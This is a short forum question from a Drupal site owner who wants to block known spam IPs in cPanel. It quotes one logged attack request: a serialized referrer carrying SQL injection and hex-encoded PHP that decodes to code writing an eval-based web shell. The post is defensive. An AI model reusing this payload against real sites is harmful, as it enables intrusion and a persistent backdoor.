I have a drupal 7 site, but this question is a more generic one. In the logs I'm seeing regular "attacks" to access protected resources. So attackers are just trying. I'm starting to see more sophisticated attacks such as :
example.com/user.php?act=login
and with a referrer:
554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a325175634768774a79776e50443977614841675a585a686243676b58314250553152625a5630704f79412f506d4669597963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
When I'm checking the ip addresses of these attacks 98% they are already registered as spam in the stopforumspam database.
Is there a way to have a list or an api at cPanel level not to have to have to deny each ip address manually.
My question is about cPanel not drupal, since I believe it is better to block them at a higher level even before reaching drupal.
In drupal I have a stopforumspam module but this is used to deny registration, which does not prevent attacks such as the one above.
What I need is to be able to block these attacks from known spammer Ips without having to add each ip address manualy in the deny Ip address list in cPanel.
Many thanks
